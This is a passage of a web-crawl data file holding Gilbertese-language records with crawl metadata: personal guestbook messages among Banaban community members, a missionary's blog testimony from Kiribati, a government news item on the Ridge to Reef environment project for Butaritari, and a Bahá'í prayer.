0.9999960660934448}","num_words":190,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.263,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri mani banaan Rabi. Ngkana e reke au message iroum, ao koa taiaoka\nnikaongoai. Te rongorongo ba e mate Bataua are buun Nei Riri,ao ti nako Labasa\nn taromauri ma kain Labasa, ao ea tauna naba Bataua Kabong. Ti oki n te kauabong\nao tia uota naba bain au internet. Te unaine, e tuai man anganai ana bai are nna\nbiriakinna tao bon iai ana tai. Regards.\nMauri naba Reinnang,\nGood to hear from you even in this distance. Thank God. Ai bon aia bai I-Matanga ae ea bon kamimi ba tia kona n reitaki iai n aki-akaka.\nAkea rongorongon ara tabo aei ba bon ti makuri ao ai bon iangoan naba kanoan te mwenga.\nAo ngkanne boni ngai Nei Tiku are kain ngkoa ana boarding Nei Kaaro i Nuku? Ngkana e teimatoa am ururing ao i taku bwa kona bon uringa te tai anne.\nTe kamauri nakoia kain am auti ao ena tekeraoi te waaki","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/reinnangwaikatabeaki","date":"2020-08-05T17:04:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735963.64\/warc\/CC-MAIN-20200805153603-20200805183603-00412.warc.gz","language":"gil","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000064373016357}","num_words":156,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.244,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elder samuel haycock's\nbringing the light of the gospel to the people of kiribati\n\n\nElder samuel haycock's\n\n\nKam na bane ni Mauri,\nAn interesting week. It has nice to be healthy again to help move the work forward this week. Sadly I won't be able to see any more of my investigators baptized but I can help help them be ready to be baptized the Saturday after I leave. It is so great the missionary work. I also had my time to bear my testimony as I am leaving. I included a photo of all the missionaries leaving before the next Zone Conference. I am excited to be able to participate in the next mission tour before I leave to come back home.\nMy spiritual thought I am going to share my testimony:\nI ataia bwa Iesu Kristo bon ara Tia Kamaiu. E atia n nakomai nakon te aonaba n katoka iaon ara bure ni kabane ao ni tauraki iaon te kaibangaki. Bwa ti aonga n ngaira tatabemanira nako ti kona ni manga teirake ao tei i matana. Ni motikaki taekara ni karekea te motirawa irakin ara tia kamaiu. I ataia bwa te ekaretia aei, Ana Ekaretia Iesu Kristo Ibukiia aika a Itiaki ni Boong aika Kaitira e atia ni kaokaki rinanon te burabeti ae Iotebwa Timiti. I ataia bwa Iotebwa Timiti e bon ana burabeti te Atua. I kakoaua bwa Russel M Nelson bon ana burabeti ae maiu ngkai ao e kairiia ana Ekaretia Iesu Kristo ngkai. I kamatoa bwa ana burabeti te Atua. I kaoti naba bwa I atiani weteaki iroun te burabeti ma ni kamatoaki ao katabuaki bwa e na toro irouna. I ataia bwa Beretineti Larkin e atia ni weteaki bwa e na mwakuri ma ni kairiia te Marshall Islands Kiribati Mission. Ao I kararabwa ibukin ana boutoka man ana ibuobuoki nakoiu n tai nako. Morarariki I kamato bwa te mwaane ae weteaki iroun te Atua. I ataia bwa Ana Boki Moomon e boni Koaua! I atia n tataroakina ma ni bubuti ma te nano ae koaua ibukin koauana ao I ataia bwa e koaua. Ao I kaungai nanami bwa kam na wareware mai iai ni katao bong. E kakawakira. I ataia bwa te utu e atia ni katabuaki iroun te Atua bwa bon te tabo ni reirei ao kariki natira. Ao ti kona n riki bwa te utu ae akea tokina ngkana ti mare ma ni kawakin ara berita ti atia ni karaoa inanon te tembora. I anga au kararabwa nakon Tamara are i Karawa ibukin ana boutoka nakoira tatabemanira nako. Ao I kukurei bwa I kona kaboua ao berita ae tabu ni katoa tai I kana te toa. I kaoti nakoimi bwa I tangiringkami. Ao I atongi bwai aikai n aran Iesu Kristo, Amen.\nI tangiringkami,\nElder Ekaki\nBikenibeu 2nd West\nps sorry I ran out of time to translate...\n\n\nElder Samuel Haycock\nI am called to serve a mission for the Church of Jesus Christ of Latter Day Saints. This blog is about my adventures in sharing the gospel of Jesus Christ for the next two years in the Republic of Kiribati.\nArchives\nJuly 2018\nCategories\nContributor\nRachel Haycock - I am the mother of 6 amazing children and the lucky wife of a dear, sweet man. I love to write, read, cook, teach and sew. I hope you feel the Spirit of the Lord as you read about Elder Haycock's adventures in sharing the gospel of Jesus Christ.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/elderhaycockskiribatiadventure.weebly.com\/home\/ps-sorry-i-ran-out-of-time","date":"2020-08-14T05:43:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739177.25\/warc\/CC-MAIN-20200814040920-20200814070920-00492.warc.gz","language":"gil","language_score":0.9997441173,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997441172599792}","num_words":573,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.281,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kawaran Butaritari iaan te karikirake ae te Resilient Islands, Resilient Communities – Ridge to Reef\nE a waaki ngkai ana kakatauraoi ma ana baronga ana tiim te botaki n mwakuri ae te MELAD rinanon te karikirake ae Te 'Resilient Islands, Resilient Communities' – Ridge to Reef (R2R STAR) imwain kawaran te abamakoro ae Butaritari are e na moa man 31 n Tuurai n karokoa 2 bongin Aokati 2020. E kaainaki te tiim aio irouia Aobitia man ana tabo n mwakuri te tautaeka aika te Local Government man te MIA, Coastal Fisheries Division man te MFMRD, ao ai man te MELAD n mwaangana ae te Lands, Agriculture ao te ECD ake a boutoka mwakurian te karikirake aio.\nKawaran Butaritari n te tai aio e na kairaki iroun te Tia Koroboki man te MELAD n reitaki ma te Director man te ECD ke Aobitin Tararuan te Otabwanin. Te maroro n kaineti ma kanoan te karikirake e na kairaki man ana itera te Project Management Unit (PMU) are ngaia ae e baronga kanoan te karikirake aei ibukiia abamakoro ake a taketenaki n te tai aio.\nOin kawaran te abamakoro iroun te tiim, e boboto iaon karaoan te moan maroro ma te kauntira n Butaritari ke te Inception Workshop n kaineti ma kataabangakan waaki ake a na mwakuriaki bwa kanoan te karikirake aio n reitaki ma kanoana ake a na mwakuriaki n te abamakoro ae Butaritari. Aio bon te kauoua n abamakoro n kawaraki iaan te karikirake aio n aron naba are e a tia n kawaraki iai te abamakoro ae North Tarawa inanon Beberuare n te ririki aei.\n\"Resilient Island, Resilient Communities\" bon teuana te karikirake are e boutokaia aban nako te Betebeke n ikotaki ma Kiribati iaon kakorakoraan ana konabwai te aba n reitaki ma kaain te aba n kaitarai kanganga ma taian bitaki nakon te otabwanin rinanon barongaan, kawakinan ao tararuan kaubwain te otabwanin n moa ma iaon te aba nako taari ke aon te rakai – Ridge to Reef.\nAna katauraoi te tiim ibukin kawaran Butaritari e teimatoa ngkai n waaki ao n kataubobongaaki kanoana man ana itera te karikirake aio man te MELAD. Iai te kantaninga bwa kioina ngkai aio te moan tai n kawaraki te abamakoro ae Butaritari ao e na bon karaoaki te maroro ma kauntira man kaawa aika a kakaokoro ke te Full Concil Meeting are e na moanbwaiaki iroun te tiim, n taorimwiiaki ma kanoan waan te tiim ake e na waakin inanon tikuna n te abamakoro inanon teniua te bong. Kanoan te maroro ma kauntira e na boboto i aon rongorongon te karikirake ae te R2R ao n reitaki naba ma maroroakinan mwakuri ake a na waakinaki man aia itera te Botaki n Ununiki, Te Botaki n Akawa ao Aobitin Tararuan te Otabwanin ake ngaiia taan boutoka mwakurian te karikirake aio n abamakoro ake a tia n taketenaki.\nIrarikin aaba aika North Tarawa ma Butaritari ao te kantaninga bwa e na manga iai kawaran te abamakoro ae Tabiteuea Meang are e katautauaki naba inanon te ririki aei. Abamakoron Kiribati aika teniua aikai n ikotaki ma Kiritimati bon ngaai ake a taketenaki moa n te tai aei n te karikirake ae te R2R.\nE mwanenaki ao n boutokaaki te karikirake ae te Resilient Island, Resilient Communities – R2R man te rabwata n mwane n te aonnaba ae te Global Environment Facility (GEF) ao n boutokaaki man te Food & Agricultural Organization ke FAO. E na waaki te karikirake aei inanon nimaua (5) te ririki imwiin tiainaakin te boraraoi n Maati 2018 imarenan te tautaeka n Kiribati ao FAO man te United Nation ike e moanaki mwakuriana n Eberi 2019.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.environment.gov.ki\/?p=1927&page=2","date":"2020-08-11T09:17:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00439.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":593,"character_repetition_ratio":0.099,"word_repetition_ratio":0.007,"special_characters_ratio":0.199,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hey Bro Mauri mani banan Kiribati.News ae n na riai ni kaongoko, bon rongorongon teunimane ae te witchcraft, ao e kamoamoa ba e atia ni kamateia aomata aika 34. Bro ngke e nangi mate teuaei ao e a namakina te aii ngke te bue iaon rabatana,e takarua ba e naki taunaki rabatana iaon tano ba e maka te aii.\nIangoia Bro ba bon iai te Hell ao Paradise are ti noria n te boki ae Luke 16=19--31.God prepares for us.kee\nKamatoa tibangam anne,Galatians 6=9 Let us not become weary in doing good, for at the proper time we will reap a harvest if we do not give up.\nBro, maintain your relationship with Jesus right now.doing good in the ministry that Jesus calls you too.\nTia bo moa God bless.\nMauri Akata e raba te reitaki its seems u try 2 kabaka ranin matau\na bon eti inang mis au belove school i ba moa n tag ao ia tiba read\nnicely anyway kanoan te bong ma ko ang a naba au regards 2 yr\nwife kerr.............................\nao ti amanga bo moa ab ea bo au tai\nmoce","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1o9tf3f004gnf","date":"2020-08-12T22:17:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738944.95\/warc\/CC-MAIN-20200812200445-20200812230445-00296.warc.gz","language":"gil","language_score":0.997475028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9974750280380249}","num_words":184,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri, i was true wen i said that ur surname is familiar...so u are my niece!!\nia tiba toki n tarebon ma tinau i rabi ao e bon nang inga nanona thinking that Ririennang himself is hia in fiji..2 bad!! she's coming next wk to suva so don't worry,i'll take her picture then & put in my profile for u 2 see..u r true, she's a Boboto!!more boboto ngkai ea kara.\nangke e raba te tangira ba tia manga kaitiboaki nte web aio..tia bon ti kina naba Naamai ao Banna bukina tia tia n noria ma tamneia ao Ririennang? wea the hell is he? hiding away i guess...tuanga ena kaikoiko e aoria n nakomai fiji.\ntao ti ngai moa aikai au kaongora, koa reitia ngkana ko kaea am page..tia boo moa ao te kamauri nakoimi ni bane...\nMauri mai fiji,\nEa bon nang man te tai ao ia tiba kaea au banaban website aei..koa bon kabara te bure bwa ia bon aki kinako ma ngkana e reke am tai ao koa kabarako raoi nakoiu ke?kanga e bon familiar am surname ae Ririennang...anyway ova to u now.\nMOCE..","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/MwaraiaRiriennang","date":"2020-08-04T20:32:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735882.86\/warc\/CC-MAIN-20200804191142-20200804221142-00307.warc.gz","language":"gil","language_score":0.9965689778,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9965689778327942}","num_words":185,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mimitong ni kabane bon nakon te Bong aei, te Bong are i nanona boiararan nako te nanoanga a tia ni uotaki rinanon te ang nako aoia karikibwai ni kabane, te Bong ae e koro n te karaoiroaki rooro ma tienture ake a tia n nako mai mwaaina a bon aki konaa ni kabotaua, te Bong are i nanona Boong e a tia n rairaki nakon Tekatekam ae Tabu. N rimwiin anne bon bwanaaia karikibwai ni kabane, ao i aoia bon Rungaia Anera ni Karawa, n ongo te aba bwanaaia ni wewete n takarua: \"Ienikuriiko Ngkoe Karamera, bwa nooria, ootan buraburan Moan Te Atua, te Tia Tautaeka n Abanuean taian Ara ao te Tia Karaoa karawa nako, e a tia n neboaki i aom.\"\nN tauaki i nanon te kimwareirei ae korakora, ao n tabekaarake bwanaana ni karietaata, e takaarua n taku: \"E bia riki maiu bwa te karea Nakoim, i bukina bwa Ko a tia ni kaeta am taratara nako aou, n tia n ana nako aou Am bwai n tituaraoi, ao n tia ni kaetai nakon mwanekan waem. Te raure nako Mairoum, Ngkoe are Boton te maiu ae akea tokina, e a tia ni waetata ni kabuaai ao raroau mai Iroum e a tia ni kabueka tamneiu. Te kamoamoaaki Nakoim bwa Ko a bon tia n anganai te konabwai bwa Nna ongo nakon Am wewete, ibukin tian karineau ma mwanekan waem, ao ibukin tian kamaiuakin tamneiu rinanon korakoran boiararan Am Bong ao kakangin bwanaan Am Kainikoroboki, te bwanaa are Ko a bon tia ni baaireia bwa te buu ni wewete i buakoia Am botannaomata. Ao ngke e a roko te aoa are e na kaotaki iai Am Aro ae e aki konaa n totokoaki, ao Ko a tia n ikeikena ikeiken Tamneim nako nanon Am Kainikoroboki, ao nooria, te karikibwai ae bwanin e ioaki bon mai oina, ni kaota nakoia aomata kamiimi nako ake a wene n raba i nanon kaubwain Teuare boni Ngaia te Tia Bwaina te karikibwai ni kabane.\"\nE aki maan imwiin tian rokon bwanaana n te Tabo are moan te karietataaki arei ao n aei ae Ti a kaeka: \"Angan Am Uea te karabwarabwa ae bati, Ngkoe Karamera. Ain raurenakom Mairou e waetata ni kabuako, ngke marawan Rokou e naouea i matam ao ni kaunga ma te kukurei matam ao ake irouia karikibwai ni kabane, ao ni kaonrakei ma te kukurei bwaai ni kabane ake a nooraki ao ake a aki nooraki. Kukurei, bwa E a tia Te Atua i nanon te Bong aei ni katea Kaintokan Ueana i aom, n tia ni karaoiko bwa moan teirakean Ana kanikina nako ao otaningainan kakoauaan Ana Kaotioti. E a kakabwaiaaki te aomata are e katobibia rarikim, are e katanoataa kaotiotin Mimitongim, ao n taekina Ana bwai n tituaraoi Am Uea ae Atuam are a tia ni kabwaroaki nako aom. Taua Mwangkon te Maiu ae Akea Tokina i nanon aran Am Uea, te Kabanea ni Mimitong, ao anga am kaaitau Nakoina, bwa E a tia ni bita nanokaawakim nakon te kukurei ao n onika rawawatam ae korakora nakon te kimwareirei ae bati. Ngaia, n te koaua, E bon tangira te tabo are e a tia ni karaoaki bwa tekatekan Kaintokan Ueana, are e a tia n touaki ni Waena, are e a tia ni karineaki n Tikuna iai, are e a tia n tabekakirakeaki mai iai Ana wewete, ao are a bon tia ni kabwaroaki i aona Rannimatana.\n\"Wewete nako Tion, Ngkoe Karamera, ao katanoata te rongorongo ae e kakukurei: E a bon roko Teuare E karabaaki ngkoa man mataia aomata! E a bon nooraki ngkai Ana tautaeka ae totokanikai; e a bon tia ni kaotiotaki Mimitongina ae rabwatii bwaai ni kabane. Taratara raoi, bwa ko aonga n aki tabwara ke n nanokokoraki. Ienikuriiko ni katobibia Ana Kaawa Te Atua ae e a tia n ruo mai karawa, are te Kaawa ni karawa ae e a tia ni katobibiaki ma te nebonebo irouia ake a tangiraki iroun Te Atua ake a itiaki nanoia, ao ai botakiia anera aika moan te karietataaki. E a korakora Nanou ni kan katanoata nakoia taabo nako i aon te aonaaba aio, ao ni uota nakoiia n aia kaawa nako rongorongo aika a kakukurei n te Kaotioti aio. Te Kaotioti are e a tia ni kariiaki nako iai nanon Tiinai, ao are e a tia te Kai ae e Ura ni wewete n arana: 'Bon nakon Te Atua, Ueaia Uea, taian abanuea n aonaaba ni karawa.' Bon aio, ni koaua, te Bong are i nanona aaba nako ao marawa a uaia ni kukurei n te katanoata aio, te Bong are a tia ni katauraoaki ibukina bwaai ni kabane ake E a tia Te Atua, rinanon te tituaraoi ae riaon aia iango ma nanoia aomata, ni katautaua kaotiia. Imwiin te tai ae e aki maan ao Te Atua E na borauakina Ana Aake i aom, ao ni kaotiia aomatan Bahá ake a tia ni mwaneweaki i nanon te Boki n Ara.\"\nE katabuaki Uean te botannaomata, are ngke e atongaki Arana ao a ruru iai iteran nako te aonaaba, ao e a roko nanona iai Newen te Kakannato ni kaotii baike a rabunaki ngkoa inanon Ana atatai ao ake a wene n raba inanon kaubwain Mwaakana. Ngaia ni koaua, rinanon korakoran Arana, te Mwaaka, te Kabanea n Tautaeka, te Kabanea n Rietaata, bon te tia tautaeka i aoia bwaai ni kabane ake i karawa nako ke i aon te aba.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190301020","date":"2020-08-15T20:43:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439741154.98\/warc\/CC-MAIN-20200815184756-20200815214756-00139.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":905,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri kokeaki, koura ma kain am auti? tao kam bon bane ni marurung raoi. koa taiaoka n anganai am email address ba ikan koroboki nakoim ke? its kinda urgent!\ntau matia mango bo bo moa ke?\nena tekeraoi te waki ke?\nMauri sis, e raba te ururing. Ti bane ni marurung ao ti nang miss ana wedding Mamira. Ti rang miss naba ikanne and the grog. Anyway tia manga reritaki rimwi. Regards to evryone ao ana kamuri naba tamaia ataei!!!!\nhi aunty kamuara maa kain ami auti.......any ways koa karokoa naba au ka mauri iroia mwaneu akkanne ao ai moa rara riki tariu ane te boboto anne (bwany) aunty tao nna kangai moa ma koa manga bon rarun nako au pg\nNeiko ea bon roko te kara ngaia kama tibuna naba. Antai buun Star. E raraba ami support nakon tibura anne. Akea iakai te grog ma we still iss it. E rereke nimaia kain Banaba ikai ngkana a bowi ba ea tei ikai aia botaki kain Rabi. Ti tabeman kaina ma e bon mwewme naba aia botaki. Tekeraoi te makuri and regards to the fam\nBula,\nNeiko e rabwa te kaitibo naba ikai.Ngaira ti bon marurung naba ao ai uana naba ma te mitinare aio. E koaua ae kam tabe naba ni biriakina aron ami KPC ikanne bwa i bon ongongo ikai...ao tao iaon kawaina ami mitinare??? Mamroti ngkai ea marurung ena kanga ao e bon kuri ni koraeki waena ma e kabaia bwa enang smart ana doctor. Ia angan tarim aio am kamauri.Ne, aura natim akanne ao te itiaina..Tuanga teunne raom anne bwa tia bon anaia bwa ara special mitinare????ahah. E rarabwa naba te kekeiaki ao ai moarara tereitaki. Ueenroti n Kibau a bon nako ni kaea ana birthday tibumi ao ngai i bon aki bwa ia nangin mangao ma natin Star bwa are ea tibwa bung naba buna nte tai anne.\nE uara iai naba te grog ikanne ke ai akea??? E tau tekaeraoi moa ngkoe ma am utu. Loloma to the kids and your hubby.\nLove from all @ Antebuka\nHi sis. Kam na mananga ni kaea ana birthday tibun Uncle Kabwea? Kam anga naba ara ka tekeraoi nakoia ni kabane esp te birthday gal. I ongo ae aia MC ena roko mai Kiribati. A kanganga ae. E nang kanga ao ea taetae te money. E aoria ma koa manga kaongoai mwin te botaki. Tekeraoi te weekend. E atainaine Turia.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/kokyTeaiaki","date":"2020-08-09T03:02:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738380.22\/warc\/CC-MAIN-20200809013812-20200809043812-00414.warc.gz","language":"gil","language_score":0.9999498129,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999498128890991}","num_words":402,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko mauri moa...Koanikabara ara bure kaitiaki iraa ami kairuaa...Neiko koataia anang taonaki arataei nte aoraki aki kona ni birinako man tebekobeo ao tekaikeike neiko ao irarikina tinau ena bon nakoati mae emaka te tsunami ao tai aoka emena ia te tina Roosa bae tao eaki reke ara tai ni maroro ao tiakarekea ara tai mangaia koatuangira ana namba taioka...Tao tii boo moa...Ahh neiko ibukina are ana makuri buun Bebe neiko aia makuri amanga motirawa moa bae ea bane naba aia contract mai iamanga kaongoko .\nmauri nee ap gaia e raraba naba te reitaki mai ikanne. i taku ba iai aia contact adress ma aunty Uea iroum ma gaia akea.. e tikiraoi ia kataia riki n kakaea kee....tau tekeraoi naba te waki mai ikanne... ti boo moa au gmail adress naba gaia aio..firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/TetikuAmon","date":"2020-08-07T18:04:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737206.16\/warc\/CC-MAIN-20200807172851-20200807202851-00033.warc.gz","language":"gil","language_score":0.9987752438,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9987752437591553}","num_words":132,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri, butikau ae ko karineaki........long time.....I heard that you are a granddad,......CONGRATULATIONS.....well I just drop in to say hi and to salute you......hahahah.....\nI`m in Rabi with aunty Bure and Marewe`s baby (3-4 yrs). It`s just the 3 of us. Life is good in the island, eating lots of fresh fish....either we buy it or it comes from relatives, we are forever grateful, but at times longing for red meat....u kwn Rabi....still the old same old,well, we hoping to see new developments in the near future, and thats according to our current leaders and the people residing on the island.\nSo....so....hope to see you guys in the near future, according to God`s plan.\nMy plans for the future???? I do hav plans but at the moment I hav to look after aunty and the little niece.\nAnyway, signing-out now....regards to Mone and the children and warm hugs 'n' kisses to your grandchild who is acknowledged, welcomed and loved from here.\nBoso ikeri, aikai boso aika auarereke, ao ane boso n aki toki ao n aki toki.\nI ongo i roun Talatala Amoti ae koa nang bakuaku n ana headquarter te KPC, ko bon tau, e raba naba te reitaki, ngkai ti mena i Lautoka ngkana ko kuba n rikai ao koa kai kaongoira, ko raba ao te kamauri nakoia am koraki.\nAi aron ae i a uringa imanonon atum ma tarim are Teboubou n te nagkona ao te choir are e rangin tanoata ....viti kei vuravura ahahah. N au ururing ko b'anaa n aine ao Teboubou e areto...ao ngai ngkoa tao i boni bass ke tenor ke I lead vocalist??? Koa kaetia mai ikanne ao tai manga kabioua?? hahahaha\nKo uara ma bum ao natimi? I taku b'a kam bo rangin marurung mani malasilasi mwina te lani fen ma te fakalolo....ao teutana iroum ngkoe te kun n tala...kanga kunina te oon??? Taeka ni manikangare ao ai bon te inga mai irou ma kaain au utu nakoimi n bane. Ke tekeraoi te makuri ao tia manga rereitaki.\nMauri Talatala Kibau\nE rab'a te iango ae maiu ibukin karaoan te website aio. E uara te bare am guitar te iti arei. Ngaia are mate nako iai tariu are Tabwi, hahahaha. E rab'a te kaitibo inanon te tabo aei. Ai aron ae ti maroro n am tabo are Raiwaqa i akun te betin nangkona. E nako raoi ara tabo ae Tuvalu. E aki toki naba te uboubo mani maroro nte nangkona. Ti bon b'ane ni marurung ma au koraki. Tao ea tia raom anne Nei Mone ni karokoa au kamauri nakoim. E rab'a moa te kaitibo ao tia bo moa.\nMauri naba Talatala ao SE. E rab'a te website aei ba e a manga kona n reke iai te kaitibo ao te ongongora rongorongo ma ikanne ao ma ikai. Ti marurung raoi ao tao ai bon arona nakoimi ikanne, E rab'a Uean te maiu ao te kab'aia. Tekeraoi te waki ma n ami itera anne ai moara ra riki ami Ed Com. Te Atua imarenara ma ngkami n taai nako.\nNgaira raom ni makuri Ibukina, Taatu Taomati.","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/banabanvoice.ning.com\/profile\/KibaunimatangRimon","date":"2020-09-26T19:16:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00558.warc.gz","language":"gil","language_score":0.9987972379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9987972378730774}","num_words":512,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nee mauri.....e rangi ni maan te tai n aki manga maroro.....anyway e raraba te tangira ngkai e kona ni manga reke ara tai ngkai ni maroro teutana. Kam uara moa ngkai?...ngia i bon marurung raoi naba,......tia manga bon rereitaki riki nte gmail ba kanga ea roko moa te baki irou...ma nna amarake moa kee....bye bye n take care.......\nMAURI\nTi nori tameimi n am page ao e nagi kukurei Teari ngke e nori ngkami. A bon nagi ataenimane natim. E kabarabarai ngkami Teari.\nTeari ngkai e nagi tauraoi nakon ana exam nakon te weeki ae naroko. Kamwa uringa naba nte tataro. Te kantaninga bwa ae bon ana kabane nte semester ae.\nKeke bon raoira nte weeki aeka nako mwa buuna. Ti tabo mwa e bikoukou. E nagi riki tibum.\nNgaira ikai ti boni bane ni marurung raoi. Akea rongorongon ara tabo ae bwa titaekan te reirei ao te makuri.\nNakon tokin te ririki ae ao bon iai ara botaki ni utu ae ena karaoaki i Savusau iroun teunaine are Nei Tooka are buun Ben Wilson. Ara botaki ni utu ae bon kanoan Tereke aika Nei Tekeinang, Tutu ao Nei Tarabito. E kakaroiaki te botaki ae ni katoa ririki. A bon maiti tuaia buura nte ririki ae nako ngai mwa Terairube ae ti nakarokoi inanon te botaki nte ririki ae. Ti look forward nako iai bwa tain te kikina, riki irouia natira.\nTao e na bakara rongorongon ara tabo aio. Kamanga reitia mai ikanne\nTia boo moa ao tekeraoi te waaki.\nTaoniti Ata\nBula mai Makoi\nE raba naba te reply. Bon akea te kanganga i bukin te aki kikina bwa are ti bon ataia bwa kam nagi maan ni kitanna Rabi. Bon ti tabo naba ngkana ti roko i Rabi ao ti bon buu naba ni kinakia atai aika tibwa rikirake.\nIa tia nora natim ae Nei Rakera, e bon tuangai natiu ae Mark n tain te inter zone iroia atain te secondary. Ea bon rangi ataenanine.\nNa kabarabarai au tamei aike iaon au page\n(Jenny003\/005) tamein Teari ao natin Marewe (te bwebwe are te bina ni koro)\n(Jenny237\/224\/243\/249) tamein Keke ngke e katoai ni kaira te business training nte SPC. Akane bon ara participants man aba nako nte South Pacific. Bon uoua ara weeki ni kaira te training ae\n(Grandfathers036\/035\/026) bon tameia ara koraki n tain maten Areke. E mate nte ririki ae nako n October.\nTi bon bane ni marurung raoi mwa kain ara auti. Uoman natiu, au karimoa ea form 4, ao tekarimwi ea class 6 ngkai.\nAnyway we continue on my gmail which is email@example.com Ena bon rabane raoi ara maroro.\nTe inga nakoia kain am auti ao ae natim ao buum.\nTia boo moa\nTaoniti\nNee I bon rangi n tabetabe ba ea kaan te exam....ao ngkoe ai te kokoroboki ngkai ae waniko iaon te site aio....why didn't u write to my gmail add...n you have not answered most of my mails I sent to u from that site.....hahahaha....anyway I will tell u more thru gmail...coz these matters are private and not to be seen by the public....hahaha....I a manga bon meerin nakoim kee.....\nre kamauri ao te inga nakoia maneu aikanne ao ai ngkami.....\nNee ngai I tangira naba kanau te taari n ika.....hahaha...I kekewe...anyway tekeraoi te waaki ao tao nnang matu moa ba ea bakanako te tai.....\nMauri mani banaan Rabi. E raba te Uea ba tia manga kaitiboaki nte page aio. Kabara buren waeremwen te reply ba e na kanga ao are e nang bati te tabe nte makuri ao te mwenga. I taku ba I atia n reply am moan mail ma ngkana e aki reke iroum ao tao iai te kanganga ae riki.\nNgaira ti boni bane ni maururng raoi ma ataei. I aki toki naba n reitaki ma Teari ao Keke ao n tabetai i tarebon ma Rakera. A bong nang ataeinaine natim ai moararariki Rakera. E tuangai ba e kan motirawa ikai ma e tuangaki iroun tarina are Keke ba ngkana e raoiroi mwin ana reirei ao e na kabaka katokana nakomai. I ongo naba irouna mwin ana Fiji Junior Results ao e nang tikiraoi ba 'A' grade. Auaia n reirei ngkai i Lealean ma Tuen auauia n Form V. Samantha e reirei i Bucalevu i Taveuni Form 3 ao Tapu e class 6 i Buakonikai. Nei Waiete e class 1 ao bon anne ngkanne au bina.\nAkea rongorongon ikai ba I taku ba koa tia n ongo are e atia ni motirawa Takeiti nte ririki ae nako ao Papa Faila e motirawa ni moan te ririki aei. Tao ti ngaia moa anne te news mai ikai ao koa manga bon rereitia mai 